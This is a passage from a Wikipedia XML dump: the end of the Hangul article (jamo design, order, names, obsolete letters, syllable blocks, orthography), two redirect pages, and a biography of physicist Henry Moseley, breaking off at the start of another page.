The phonetic theory inherent in the derivation of glottal stop ㆆ and aspirate ㅎ from the null ㅇis more accurate than modern [[International phonetic alphabet|IPA]] usage. In the IPA, the glottal consonants are posited as having a specific &quot;glottal&quot; place of articulation. However, recent phonetic theory has come to view the glottal stop and [h] to be isolated features of 'stop' and 'aspiration' without a true place of articulation, just as their hangul representations based on the null symbol assume.

====Vowel ''jamo'' design====
Vowel letters are based on three elements: 
* A horizontal line representing the flat Earth, the essence of ''[[yin and yang|yin]]''.
* A point for the Sun in the heavens, the essence of ''[[yin and yang|yang]]''. (This becomes a short stroke when written with a brush.)
* A vertical line for the upright Human, the neutral mediator between the two. 

Dots (now short lines) are added to these three basic elements to derive the other simple vowel ''jamo''. 
* Simple vowels
** Horizontal letters: these are mid-high back vowels.
*** ㅗ ''o''
*** ㅜ ''u''
*** ㅡ ''eu'' (''ŭ'')
** Vertical letters: these were once low or front vowels. (ㅓ ''eo'' has since migrated to the back of the mouth.)
*** ㅏ ''a''
*** ㅓ ''eo'' (''ŏ'')
*** ㅣ ''i''
* Compound ''jamo''. Hangul never had a ''w'', except for [[Sino-Korean]] [[etymology]]. Since an ''o'' or ''u'' before an ''a'' or ''eo'' became a {{IPA|[w]}} sound, which occurred nowhere else, {{IPA|[w]}} could always be analyzed as a [[phoneme|phonemic]] ''o'' or ''u'', and no letter for {{IPA|[w]}} was needed. However, vowel harmony must be observed: ''yin'' ㅜ with ''yin'' ㅓ; ''yang'' ㅏ with ''yang'' ㅗ. The compound ''jamo'' ending in ㅣ ''i'', on the other hand, were originally [[diphthong]]s. However, several have since evolved into pure vowels.
** ㅐ = ㅏ + ㅣ
** ㅔ = ㅓ + ㅣ
** ㅘ = ㅗ + ㅏ
** ㅙ = ㅗ + ㅏ + ㅣ
** ㅚ = ㅗ + ㅣ
** ㅝ = ㅜ + ㅓ
** ㅞ = ㅜ + ㅓ + ㅣ
** ㅟ = ㅜ + ㅣ
** ㅢ = ㅡ + ㅣ
* Iotized vowels: There is no ''jamo'' for Roman ''y-''. Instead, this sound is indicated by doubling the stroke attached to the base line. 
** ㅑ = ㅏ + a stroke
** ㅕ = ㅓ + a stroke
** ㅛ = ㅗ + a stroke
** ㅠ = ㅜ + a stroke
** ㅒ = ㅐ + a stroke
** ㅖ = ㅔ + a stroke

Two methods were used to organize and classify these vowels, [[vowel harmony]] and iotation. 

Of the seven vowels, four could be preceded by a ''i-'' sound (&quot;iotated&quot;). These four were written as a dot next to a line: ㅓㅏㅜㅗ. (Through the influence of Chinese calligraphy, the dots soon became connected to the line, as seen here.) Iotation was then indicated by doubling this dot: ㅕㅑㅠㅛ. The three vowels which could not be iotated were written with a single stroke: ㅡㆍㅣ. 

The Korean language of this period had vowel harmony to a greater extent than it does today. Vowels alternated according to their environment, and fell into &quot;harmonic&quot; groups. This affected the [[morphology (linguistics)|morphology]] of the language, and Korean phonology described it in terms of ''yin'' and ''yang'': If a word had ''yang'' ('bright') vowels, then most suffixes also had to have a ''yang'' vowel; and conversely, if the root had ''yin'' ('dark') vowels, the suffixes needed to be ''yin'' as well. There was a harmonic third group called &quot;mediating&quot; ('neutral' in Western terminology) that could coexist with either ''yin'' or ''yang'' vowels. 

The Korean neutral vowel was ㅣ ''i''. The ''yin'' vowels were ㅡㅜㅓ ''eu, u, eo''; the dots are in the ''yin'' directions of 'down' and 'left'. The ''yang'' vowels were ㆍㅗㅏ, ''ə, o, a'', with the dots in the ''yang'' directions of 'up' and 'right'. As mentioned above, the ''Hunmin Jeong-eum'' states that the shapes of the non-dotted ''jamo'' ㅡㆍㅣ were also chosen to represent the concepts of ''yin'', ''yang'', and mediation. (The dot ㆍ ''ə'' is now obsolete.) 

There was yet a third parameter for designing the vowel ''jamo'': namely, choosing ㅡ as the graphic base of ㅜ and ㅗ, and ㅣ as the base of ㅓ and ㅏ. A full understanding of what these horizontal and vertical groups had in common would require knowing the exact sound values these vowels had in the 15&lt;sup&gt;th&lt;/sup&gt; century. Our uncertainty is primarily with the ''jamo'' ㆍㅓㅏ. Some linguists reconstruct these as {{IPA|*a, *ɤ, *e}}, respectively; others as {{IPA|*ə, *e, *a}}. However, the horizontal ''jamo'' ㅡㅜㅗ do appear to have all been mid to high back vowels, {{IPA|[*ɯ, *u, *o]}}.

====Ledyard's theory of consonant ''jamo'' design====
[[Image:Phagspa-Hangul comparison.png|thumb|240px|
(Top) Phagspa letters {{IPA|[k, t, p, s, l]}}, and their supposed hangul derivatives {{IPA|[k, t, p, ts, l]}}. Note the lip on both Phagspa {{IPA|[t]}} and hangul ㄷ.&lt;br&gt;
(Bottom) Derivation of Phagspa ''w, v, f'' from variants of the letter {{IPA|[h]}} (left) plus a subscript [w], and analogous composition of hangul ''w, v, f'' from variants of the basic letter {{IPA|[p]}} plus a circle.]]

There are several theories on what sources may have inspired King Sejong's creation of Hangul. Although none have wide acceptance, Professor [[Gari Ledyard]] of Columbia University believes that five consonants were derived from the Mongol [[Phagspa]] alphabet of the [[Yuan dynasty]], and the rest derived internally, essentially as described in the ''Hunmin Jeong-eum''. However, these basic consonants were not the graphically simplest letters of the ''Hunmin Jeong-eum'', but the basic consonants in Chinese phonology.

The ''Hunmin Jeong-eum'' states that King Sejong adapted 古篆 &quot;''Gǔ'' script(s)&quot; in creating hangul. The primary meaning of 古 is ''old'', frustrating philologists because hangul bears no functional similarity to Chinese 篆字 [[seal script]]s. However, 古 may also have been a pun on ''Mongol'' (蒙古 ''Měnggǔ''), and 古篆 may have been an abbreviation of 蒙古篆字 &quot;Mongol Seal Script&quot;, that is, a formal variant of the Phagspa alphabet written to look like the Chinese seal script. There were certainly Phagspa manuscripts in the Korean palace library, and several of Sejong's ministers knew the script well. 

If this was the case, Sejong's evasion on the Mongol connection can be understood in light of Korea's relationship with Ming China after the fall of the Yuan dynasty, and of the literati's contempt for the Mongols as &quot;barbarians&quot;.

According to Ledyard, the five borrowed letters were graphically simplified, which allowed for ''jamo'' clusters and left room to derive the aspirate plosives, ㅋㅌㅍㅊ. But in contrast to the traditional account, the non-plosives (''ng'' ㄴㅁ and ㅅ) were derived by ''removing'' the top of these letters. While it's easy to derive ㅁ from ㅂ by removing the top, it's not clear how to derive ㅂ from ㅁ, since ㅂ is not analogous to the other plosives.

The explanation of ''ng'' also differs from the traditional account. Many Chinese words began with ''ng'', but by King Sejong's day, ''ng'' was either silent or pronounced {{IPA|[ŋ]}} in China, and was silent when these words were borrowed into Korean. Also, the expected shape of ''ng'' (vertical line left by removing the top stroke of ㄱ) would have looked the same as the vowel ㅣ {{IPA|[i]}}. Sejong's solution solved both problems: the vertical stroke from ㄱ was added to the null symbol ㅇ to create ᇰ (a circle with a vertical line on top), iconically capturing both {{IPA|[ŋ]}} in the middle or end of a word, and silence at the beginning. (The distinction between ㅇ and ᇰ was eventually lost.)

Additionally, the composition of obsolete ᇢᇦᇴ ''w, v, f'' (for Chinese [[Syllable onset|initials]] 微非敷), by adding a small circle under ㅁㅂㅍ (''m, b, p''), is parallel to the Phagspa addition of a small loop under three variants of ''h''. In Phagspa, this loop also represented ''w'' after vowels. The Chinese initial 微 represented either ''m'' or ''w'' in various dialects, and this may be reflected in the choice of ㅁ [m] plus ㅇ (from Phagspa [w]) as the elements of hangul ᇢ, for another letter composed of two elements to represent two regional pronunciations. 

Finally, most of the borrowed hangul letters were simple geometric shapes, at least originally, but ㄷ ''d'' [t] always had a small lip protruding from the upper left corner, just as the Phagspa ''d'' [t] did. This can be traced back to the Tibetan letter ''d'', ད. 

See [[Gari Ledyard]] for details.

===''Jamo'' order===
The alphabetical order of Hangul does not mix consonants and vowels as the Western alphabets ([[Latin alphabet]] and [[Cyrillic alphabet]]) do. Instead, the order is of the [[Shiva Sutra|Indic type]], first velar consonants, then coronals, labials, sibilants, ''etc.'' However, the consonants come before the vowels rather than after as in [[Sanscrit]] and [[Tibetan language|Tibetan]]. 

The modern alphabetic order was set by [[Choi Sejin]] in 1527. This was before the development of the Korean tense consonants and the double ''jamo'' that represent them. The conflation of the two letters ㅇ and ㆁ also occurred after the alphabetic order was set. Therefore, when the [[South Korea]]n and [[North Korea]]n governments implemented full use of Hangul, they ordered these letters differently, with South Korean grouping similar letters together, and North Korea placing the new letters at the end. 

====South Korean order====
The modern order of the consonantal ''jamo'' is:

ㄱ ㄲ ㄴ ㄷ ㄸ ㄹ ㅁ ㅂ ㅃ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ

Double consonantal ''jamo'' are placed immediately after the simple ''jamo'' they are based on. No distinction is made between silent and nasal ㅇ. 

The order of the vocalic ''jamo'' is:

ㅏ ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅛ ㅜ ㅝ ㅞ ㅟ ㅠ ㅡ ㅢ ㅣ

The modern [[monophthong]]al vowels come first, with the derived forms interspersed according to their form: first added ''i'', then yotized, then yotized with added ''i''. [[Diphthong]]s beginning with ''w-'' are ordered according to their spelling as ㅏ or ㅓ plus a second vowel, not as separate [[Digraph (orthography)|digraph]]s.

====North Korean order====
North Korea maintains a more traditional order. 

The modern order of the consonantal ''jamo'' is:

(null) ㄱ ㄴ ㄷ ㄹ ㅁ ㅂ ㅅ ㅇ ㅈ ㅊ ㅋ ㅌ ㅍ ㅎ ㄲ ㄸ ㅃ ㅆ ㅉ (null-ㅇ)

The first ㅇ is the nasal ㅇ ''ng'', which occures in the final in the modern language. ㅇ used at the initial, on the other hand, goes after ㅉ, because it is a placeholder. A letter with no final consonant goes right before that letter with ㄱ at the final, however.

Note that the &quot;new&quot; letters, the double ''jamo'', are placed at the very end of the alphabet, just before the null ㅇ, so as not to alter the traditional order of the rest of the alphabet.  

The order of the vocalic ''jamo'' is: 

ㅏ ㅑ ㅓ ㅕ ㅗ ㅛ ㅜ ㅠ ㅡ ㅣ ㅐ ㅒ ㅔ ㅖ ㅚ ㅟ ㅢ ㅘ ㅝ ㅙ ㅞ

All digraphs and [[trigraph]]s, including the old diphthongs ㅐ and ㅔ, are placed after all basic vowels, again maintaining Choi's alphabetic order.

===''Jamo'' names===
The Hangul arrangement is called &quot;the ''ganada'' order&quot; (가나다 순), after the first three ''jamo'' (''g'', ''n'', and ''d'') affixed to the first vowel (''a''). The ''jamo'' were named by [[Choi Sejin]] in 1527. North Korea regularized the names when it made Hangul its official orthography.

====Consonantal ''jamo'' names====
The modern consonants have two-syllable names, with the consonant coming both at the beginning and end of the name, as follows:

{| border=1 style=&quot;border-collapse: collapse&quot;
|-
! Letter !! South Korean Name !! North Korean name
|-
| ㄱ || ''giyeok'' (기역) || ''gieuk'' (기윽)
|-
| ㄴ || colspan=2 | ''nieun'' (니은)
|-
| ㄷ || ''digeut'' (디귿) || ''dieut'' (디읃)
|-
| ㄹ || colspan=2 |  ''rieul'' (리을)
|-
| ㅁ || colspan=2 |  ''mieum'' (미음)
|-
| ㅂ || colspan=2 |  ''bieup'' (비읍)
|-
| ㅅ || ''siot'' (시옷) || ''sieut'' (시읏)
|-
| ㅇ || colspan=2 |  ''ieung'' (이응)
|-
| ㅈ || colspan=2 |  ''jieut'' (지읒)
|-
| ㅊ || colspan=2 |  ''chieut'' (치읓)
|-
| ㅋ || colspan=2 |  ''kieuk'' (키읔)
|-
| ㅌ || colspan=2 |  ''tieut'' (티읕)
|-
| ㅍ || colspan=2 |  ''pieup'' (피읖)
|-
| ㅎ || colspan=2 |  ''hieut'' (히읗)
|}

All ''jamo'' in North Korea, and all but three in the more traditional nomenclature used in South Korea, have names of the format of ''letter'' + ''i'' + ''eu'' + ''letter''. For example, Choi wrote ''bieup'' with the ''hanja'' 非 (''bi'') 邑 (''eup''). The names of ''g'', ''d'', and ''s'' are exceptions because there are no ''hanja'' for ''euk'', ''eut'', and ''eus''. 役 ''yeok'' is used in place of ''euk''. Since there is no ''hanja'' that ends in ''t'' or ''s'', Choi chose two ''hanja'' to be read in their Korean gloss, 末 ''kkeut'' (&quot;end&quot;) and 衣 ''os'' (&quot;clothes&quot;).

Originally, Choi gave ''j'', ''ch'', ''k'', ''t'', ''p'', and ''h'' the irregular one-syllable names of ''ji'', ''chi'', ''ki'', ''ti'', ''pi'', and ''hi'', because they should not be used as final consonants, as specified in ''Hunmin jeong-eum''. But after the establishment of the new orthography in 1933, which allowed all consonsants to be placed as the final consonants, the names were changed to the present forms.

The double ''jamo'' precede the parent consonant's name with the word 쌍 ''ssang'', meaning &quot;twin&quot; or &quot;double&quot;, or with 된 ''doen'' in North Korea, meaning &quot;strong&quot;.  Thus:

{| border=1 style=&quot;border-collapse: collapse&quot;
|-
! Letter !! South Korean Name !! North Korean name
|-
| ㄲ || ''ssanggiyeok'' (쌍기역) || ''doengieuk'' (된기윽)
|-
| ㄸ || ''ssangdigeut'' (쌍디귿) || ''doendieut'' (된디읃)
|-
| ㅃ || ''ssangbieup'' (쌍비읍) || ''doenbieup'' (된비읍)
|-
| ㅆ || ''ssangsiot'' (쌍시옷) || ''doensieut'' (된시읏)
|-
| ㅉ || ''ssangjieut'' (쌍지읒) || ''doenjieut'' (된지읒)
|}

In North Korea, an alternate way to refer to the ''jamo'' is by the name ''letter'' + ''eu'' (ㅡ), for example, 그 ''geu'' for the ''jamo'' ㄱ, 쓰 ''sseu'' for the ''jamo'' ㅆ, etc.

====Vocalic ''jamo'' names====
The vocalic ''jamo'' names are simply the vowel itself, written with the null initial ㅇ ''ieung'' and the vowel being named. Thus:

{|
! Letter !! Name
|-
| ㅏ || ''a'' (아)
|-
| ㅐ || ''ae'' (애)
|-
| ㅑ || ''ya'' (야)
|-
| ㅒ || ''yae'' (얘)
|-
| ㅓ || ''eo'' (어)
|-
| ㅔ || ''e'' (에)
|-
| ㅕ || ''yeo'' (여)
|-
| ㅖ || ''ye'' (예)
|-
| ㅗ || ''o'' (오)
|-
| ㅘ || ''wa'' (와)
|-
| ㅙ || ''wae'' (왜)
|-
| ㅚ || ''oe'' (외)
|-
| ㅛ || ''yo'' (요)
|-
| ㅜ || ''u'' (우)
|-
| ㅝ || ''wo'' (워)
|-
| ㅞ || ''we'' (웨)
|-
| ㅟ || ''wi'' (위)
|-
| ㅠ || ''yu'' (유)
|-
| ㅡ || ''eu'' (으)
|-
| ㅢ || ''ui'' (의)
|-
| ㅣ || ''i'' (이)
|}

===Obsolete ''jamo''===
Several ''jamo'' are obsolete. These include several that represent Korean sounds that have since disappeared from the standard language, as well as a larger number used to represent the sounds of the Chinese [[rime table]]s that were never used in Korean at all. The most frequently encountered of these archaic letters are:

* ㆍ or 丶 ''ə'' (''arae-a'' 아래아 &quot;lower ''a''&quot;): Pronounced as [[International Phonetic Alphabet for English|IPA]] {{IPA|[ʌ]}}, similar to modern ''eo''.
*:''Ə'' formed a medial of its own, or was found as the diphthong ㆎ ''area-ae''. The word ''ahə'' (&quot;child&quot;), which was originally written using this letter, has been changed to ''ai'' (아이).
* ㅿ ''z'' (''bansios'' 반시옷): A rather unusual sound, perhaps IPA {{IPA|[ʝ͂]}} (a [[nasalized]] [[Voiced palatal fricative|palatal fricative]]). (If your browser doesn't show it, the ''jamo'' looks like an equilateral triangle.)
* ㆆ ’ (''yeorin hieuh'' 여린 히읗 &quot;light hieuh&quot; or ''doen ieung'' 된 이응 &quot;strong ieung&quot;): A [[glottal stop]], &quot;lighter than ㅎ and harsher than ㅇ&quot;.
* ㆁ ''ng'' (''yet-ieung'' 옛이응): The original ''jamo'' for {{IPA|[ŋ]}}; now conflated with ㅇ ''ieung''. (With some computer [[typeface|fonts]], ''yet-ieung'' is shown as a flattened version of ''ieung'', but the correct form is with a long peak, longer than what you would see on a [[serif]] version of ''ieung''.)
* ㅸ ''β'' (''gabyeoun bieup'' 가벼운 비읍): IPA {{IPA|[f]}}. This letter appears to be a digraph of ''bieup'' and ''ieung'', but it may be more complicated than that. There were three other less common ''jamo'' for sounds in this section of the Chinese rhyme tables, ᇢ ''w'' (IPA [w] or [m]), a theoretical ᇴ ''f'', and ㅹ ''ff'' {{IPA|[v̤]}}. 

There were two other now-obsolete double ''jamo'',
* ㆅ ''x'' (''ssanghieuh'' 쌍히읗 &quot;double ''hieuh''&quot;): IPA {{IPA|[ɣ̈ʲ]}} or {{IPA|[ɣ̈]}}. 
* ㆀ (''ssang-ieung'' 쌍이응 &quot;double ''ieung''&quot;): Another ''jamo'' used to represent the rime tables. 

In the original Hangul system, double ''jamo'' were used to represent Chinese voiced (濁音) consonants (which survive in the [[Shanghainese (dialect)|Shanghainese]] [[slack voice|slack]] consonants), and were not used for Korean words. It was only later that a similar convention was used to represent the modern &quot;tense&quot; ([[Faucalized voice|faucalized]]) consonants of Korean.

The sibilant (&quot;dental&quot;) consonants were modified to represent the two series of Chinese sibilants, [[alveolar consonant|alveolar]] and [[Retroflex consonants|retroflex]], a &quot;round vs. sharp&quot; distinction which was never made in Korean, and which was even being lost from northern Chinese. The alveolar ''jamo'' had longer left stems, while retroflexes had longer right stems:

{| border=1 style=&quot;border-collapse: collapse&quot;
|-
! Original consonants
| ㅅ || ㅆ || ㅈ || ㅉ || ㅊ
|-
! ''Chidu-eum'' (alveolar sibilant)
| ᄼ || ᄽ || ᅎ || ᅏ || ᅔ
|-
! ''Jeongchi-eum'' (retroflex sibilant)
| ᄾ || ᄿ || ᅐ || ᅑ || ᅕ
|}

There were also [[consonant cluster]]s that have since dropped out of the language, such as ㅴ ''bsg'' and ㅵ ''bsd'', as well as [[diphthong]]s that were only used to represent Chinese medials, such as ㆇ, ㆈ, ㆊ, ㆋ.

Some of the sounds represented by these ''jamo'' for &quot;obsolete&quot; Korean (as opposed to for Chinese) still exist in some dialects of Korean.

==Syllabic blocks==
Except for a few grammatical morphemes in the early days of Hangul, no ''jamo'' may stand alone to represent the Korean language. Instead, ''jamo'' are grouped into [[syllable|syllabic]] blocks containing, at minimum, an initial ([[syllable onset|syllabic onset]]) and a medial ([[syllable nucleus|syllabic nucleus]]). When a syllable has no initial consonant, the null initial ㅇ''ieung'' is used as a placeholder. No placeholder is needed when there is no final ([[syllable coda|syllabic coda]]). 

The null initial was originally just that, null, but since it was only used in initial position, and the consonant ''ng'' was silent when initial as well as having a similar shape to the null character, the two came to be seen as the same letter. 

Syllabic blocks may be composed of two or three ''jamo'':

# Two ''jamo'': an initial (a consonant or [[consonant cluster]], or the null ㅇ) + a medial (a vowel or [[diphthong]])
# Three jamo: an initial + a medial + a final (a consonant or consonant cluster)

The placement, or &quot;stacking&quot;, of ''jamo'' in the block follows set patterns: 
# The components of a complex ''jamo'' are written left to right. The most complex are two: ㅄ, ㅝ, etc. (Obsolete combinations are more complex: ㅵ, ㆋ, etc.)
# All modern Hangul vowels have either a vertical or horizontal axis. 
#*''Vertical'' vowel ''jamo'' are written to the ''right'' of the initial: ㅣ ''i''. 
#*''Horizontal'' vowel ''jamo'' are written ''under'' the initial: ㅡ ''eu''.
#*When a vowel ''jamo'' has both horizontal and vertical components, it ''wraps'' around the intitial from the bottom to the right: ㅢ ''ui''. 
# A final ''jamo'', if there is one, is added at the bottom. This is called 받침 ''batchim'' &quot;supporting floor&quot;.
# Blocks are always written in phonetic order, initial-medial-final. Therefore, 
#*Syllables with a horizontal vowel ''jamo'' are written downward: 읍 ''eup''. 
#*Syllables with a vertical vowel ''jamo'' and simple final are written clockwise: 쌍 ''ssang''. 
#*Syllables with a wrapping vowel ''jamo'' switch direction (down-right-down): 된 ''doen''. 
#*Syllables with a complex final are written left to right at the bottom: 밟 ''balp''.

The resulting block is written within a rectangle of the same size and shape as a ''[[hanja]]'', so to a naive eye syllabic blocks may be confused with ''hanja''.

Not including obsolete ''jamo'', there are some 11,571 possible Hangul blocks.

There was a very minor movement in the [[twentieth century]] to abolish syllabic blocks and write the ''jamo'' individually and in a row, in the fashion of the Western alphabets: ㄱㅡㄷ ''geut''. However, the blocks make Hangul very efficient to read, as each syllable has a unique shape. Now that Hangul orthography is [[Morphophonology|morphophonemic]] (see below), this means that Hangul ''words'' have easily recognizable shapes. This is a great help to the reader; a similar word-recognition advantage has kept the Semitic [[abjad]]s vowel-free for millennia. Indeed, people raised reading Chinese or Korean often report that reading the strings of letters in an alphabet like English is like trying to read [[Morse code]], and the Korean linear writing movement has never gained much support.

==Orthography==
Until the 20th century, no official orthography of Hangul had been established. Due to liaison, heavy consonant assimilation, dialectical variants and other reasons, a Korean word can potentially be spelled in various ways. King Sejong seemed to prefer [[Morphophonology|morphophonemic]] spelling (representing the underlying morphology) rather than a [[phoneme|phonemic]] one (representing the actual sounds). However, early in its history, Hangul was dominated by phonemic spelling. Over the centuries the orthography became partially morphophonemic, first in nouns, and later in verbs. Today it is as morphophonemic as is practical. 

*Pronunciation and translation:
:{{IPA|[mo.tʰa.nɯn.sa.ɾa.mi]}} 
:''a person who cannot do it''
*Phonemic orthography: 
:모타는사라미 
:{{IPA|/mo.tʰa.nɯn.sa.la.mi/}}
*Morphophonemic orthography: 
:못하는사람이
:{{IPA|&lt;nowiki&gt;|mos.ha.nɯn.sa.lam.i |&lt;/nowiki&gt;}}
Morpheme-by-morpheme [[gloss]]:
{|
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;||못-하-는||사람-이
|-
|&amp;nbsp;&amp;nbsp;||mos-ha-neun||saram-i
|-
|&amp;nbsp;&amp;nbsp;||cannot-do-[modifier]||person-[subject]
|}

After [[Gabo Reform]] in 1894, [[Joseon Dynasty]] and later [[Korean Empire]] started to write all official documents in Hangul. Under the government's management, proper usage of Hangul, including orthography, was discussed, until Korea was [[Japan-Korea Annexation Treaty|annexed]] by Japan in 1910.

The Japanese [[Government-General of Chosen]] established the writing style of a mixture of Hanja and Hangul, as in the Japanese writing system. The government revised the spelling rules in 1912, 1921 and 1930, which were relatively phonemic.

The [[Hangul Society]], originally founded by [[Ju Si-gyeong]], announced a proposal for a new, strongly morphophonemic orthography in 1933, which became the prototype of the contemporary orthographies in both North and South Korea. After Korea was divided, the North and South revised orthographies separately. The guiding text for Hangul orthography is the called the ''[[Hangeul machumbeop]],'' whose last South Korean revision was published in 1988 by the Ministry of Education.

===Mixed scripts===
During the Japanese colonial era, ''hanja'' were used for lexical (noun and verb) roots, and Hangul for grammatical words and inflections, much as ''kanji'' and ''kana'' are used in Japanese. However, ''hanja'' have been almost entirely phased out of daily use in North Korea, and in South Korea they are now mostly restricted to parenthetical glosses for proper names and for disambiguating homonyms. 

Arabic numerals can also be mixed in with hangul, as in 2005년 7월 5일 ([[5 July]], [[2005]]). 

The Latin alphabet, and occasionally other alphabets, may be sprinkled within Korean texts for illustrative purposes, or for unassimilated loanwords.

==Style==
Hangul may be written either vertically or horizontally. The traditional direction is the Chinese style of writing top to bottom, right to left. Horizontal writing in the style of the Roman alphabet was promoted by [[Ju Si-gyeong]], and has become overwhelmingly preferred.

In ''[[Hunmin Jeongeum (document)|Hunmin Jeong-eum]]'', Hangul was printed in sans-serif angular lines of even thickness.  This style is found in books published before about 1900, and can be found today in stone carvings (on statues, for example).

Over the centuries, an ink-brush style of [[calligraphy]] developed, employing the same style of lines and angles as Chinese calligraphy. This brush style is called ''[[myeongjo]]'' after the Chinese [[Ming Dynasty]] (Chinese ''[[Ming Dynasty|míngcháo]]'', Japanese ''[[minchō]]''), and is used today in books, newspapers, and magazines, and several computer [[typeface|fonts]] (e.&amp;nbsp;g. [[Batang|바탕]]).

A [[sans-serif]] style with lines of equal width has re-emerged with pencil and pen writing, and is often the default typeface of Web browsers. A minor advantage of this style is that it makes it easier to distinguish ''-eung'' from ''-ung'' even in small or untidy print, as the ''jongseong ieung'' (ᆼ) of such fonts (e.&amp;nbsp;g. [[Gulim|굴림]], [[Dotum|돋움]]) usually lacks a [[serif]] that could be mistaken for the ㅜ ''(u) jamo''&lt;nowiki&gt;&lt;/nowiki&gt;'s short vertical line.

==See also==
* [[Korean language]]
* [[Korean language and computers ]]
* [[List of modern Hangul syllabic blocks]]
* [[alphabet]]
* [[grapheme|character]]
* [[writing system]]
* [[Korean romanization]]
* [[Romaja]]
* [[Languages of China]]
* [[List of Korea-related topics]]
* [[Seong Sam-Mun]]

==External links==
* [http://www.korea.net/korea/kor_loca.asp?code=A020302 The Korean Ministry of Culture and Tourism's article on Hangul]
* [http://www.langintro.com/kintro/toc.htm Hangul lessons]
* [http://sources.wikipedia.org/wiki/List_of_Hangul_syllables List of syllables and Romanization]: [[Wikisource]]
* [http://www.triangletkd.org/students/facts/hangul.html Browser and Hangul]
* [http://english.president.go.kr/warp/en/korea/language/what/ Description of Hangul]
* [http://www.omniglot.com/writing/korean.htm Korean alphabet and pronunciation]
* [http://www.unicode.org/charts/PDF/U1100.pdf Jamo in Unicode] (177 KByte [[Portable Document Format|PDF]])
* [http://www.unicode.org/charts/PDF/UAC00.pdf Hangul syllables] (7 MByte PDF)
* [http://www.korean.go.kr/eng_hangeul/ “Want to know about ''hangeul''?”] – The National Academy of the Korean Language
* &lt;!-- The following seems to be the only commercial link in the list. --&gt;[http://www.declan-software.com/korean/#ReadWriteKorean ReadWrite Korean – Hangul Learning Software]

[[Category:Hangul| ]]
[[Category:Korean language]]
[[Category:Alphabetic writing systems]]
[[Category:Monolingual writing systems]]
[[Category:Korean writing system]]

{{Link FA|vi}}

[[ar:هانغول]]
[[ca:Hangul]]
[[cs:Hangul]]
[[da:Hangul]]
[[de:Hangeul]]
[[es:Hangul]]
[[eo:Korea alfabeto]]
[[fr:Hangul]]
[[ko:한글]]
[[io:Hangul]]
[[id:Hangul]]
[[os:Корейаг алфавит]]
[[lt:Hangul]]
[[nl:Hangul]]
[[ja:ハングル]]
[[no:Hangul]]
[[pl:Hangyl]]
[[pt:Hangul]]
[[ru:Хангыль]]
[[fi:Hangeul]]
[[sv:Hangul]]
[[vi:Hangul]]</text>
    </revision>
  </page>
  <page>
    <title>Holy book</title>
    <id>14452</id>
    <revision>
      <id>39183263</id>
      <timestamp>2006-02-11T07:40:11Z</timestamp>
      <contributor>
        <username>Spiffy sperry</username>
        <id>79741</id>
      </contributor>
      <comment>fix double redirect - [[Special:DoubleRedirects|click here to help]]</comment>
      <text xml:space="preserve">#REDIRECT [[Religious text]]</text>
    </revision>
  </page>
  <page>
    <title>H.R. Morgenstern</title>
    <id>14453</id>
    <revision>
      <id>15912008</id>
      <timestamp>2002-10-04T18:16:27Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[William Goldman]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Moseley</title>
    <id>14454</id>
    <revision>
      <id>42049986</id>
      <timestamp>2006-03-03T13:23:06Z</timestamp>
      <contributor>
        <username>Saga City</username>
        <id>138511</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Henry_Moseley.jpg|thumb|right|200px|Henry Moseley]]
'''Henry Gwyn Jeffreys Moseley''' ([[November 23]], [[1887]]-[[August 10]], [[1915]]) was an [[England|English]] [[physics|physicist]].  His main contribution to science, the justification of the concept of [[atomic number]], advanced [[chemistry]].

==Biography==
Moseley was born in [[Weymouth]], England, 1887. In [[1906]] he entered [[Trinity College, Oxford|Trinity College]] of the [[University of Oxford]], and on graduation from that institution went to [[University of Manchester|Manchester University]] to work with [[Ernest Rutherford]]. For his first year at Manchester, he had a full teaching load, but after a year he was relieved of his teaching duties and began full-time research.

In [[1913]], by using [[x-ray]] [[electromagnetic spectrum|spectra]] obtained by [[diffraction]] in [[crystal]]s, he found a systematic relation between [[wavelength]] and [[atomic number]], [[Moseley's law]]. Previous to this, atomic numbers had been thought of as an arbitrary number, based on sequence of [[atomic weight]]s, but altered when necessary (for example, by [[Dmitri Mendeleev]]) to put an [[chemical element|element]] in the appropriate place in the [[periodic table]]. Moseley's discovery showed that atomic numbers were not arbitrary but had an experimentally measurable basis. In addition, Moseley showed that there were gaps in the sequence at numbers 43, 61 and 75 (now known to be radioactive, non-naturally-occurring, [[technetium]] and [[promethium]], and the last discovered naturally-occurring element [[rhenium]], respectively). Mendeleev had previously predicted [[technetium]], and [[Bohuslav Brauner]] had previously predicted promethium; Moseley confirmed their predictions, predicted one additional undiscovered element, and showed there were no other gaps in the periodic table between aluminum and gold.

In [[1914]] he resigned at Manchester to return to Oxford to pursue his research, but when World War I broke out, he turned down a job offer and enlisted in the [[Royal Engineers]]. He fought at [[Battle of Gallipoli|Gallipoli]], where he was killed in action by a sniper in 1915. Many have since speculated that he could have won the Nobel Prize, but was unable to because it is only awarded to the living.

Only twenty-seven years old at death, Moseley could in many scientists' opinions have contributed much to the knowledge of atomic structure had he lived. It is speculated that because of Moseley's death in the War that the British government no longer allowed their scientists to enlist in combat.

==Further reading==
*[[John L. Heilbron]], ''H.G. J. Moseley; the life and letters of an English physicist, 1887-1915'', University of California Press Berkeley and Los Angeles, California, 1974.

==See also==
* [[Moseley's law]]

==External links==

* [http://dbhs.wvusd.k12.ca.us/webdocs/Chem-History/Moseley-article.html Moseley's original articles]
* [http://alsos.wlu.edu/qsearch.aspx?browse=people/Moseley,+Henry Annotated bibliography for Henry Moseley from the Alsos Digital Library]

[[Category:1887 births|Moseley, Henry]]
[[Category:1915 deaths|Moseley, Henry]]
[[Category:British physicists|Moseley, Henry]]
[[Category:Former students of Trinity College, Oxford|Moseley, Henry]]
[[Category:Natives of Dorset|Moseley, Henry]]

[[ar:هنري موزلي]]
[[de:Henry Moseley]]
[[ga:Henry Moseley]]
[[he:הנרי מוזלי]]
[[nl:Henry Moseley]]
[[pl:Henry Moseley]]
[[zh:亨利·莫斯莱]]</text>
    </revision>
  </page>
  <page>
    <title>Game of Life (Hasbro)</title>
    <id>14455</id>
    <revision>
      <id>40364341</id>
      <timestamp>2006-02-20T01:57:50Z</timestamp>
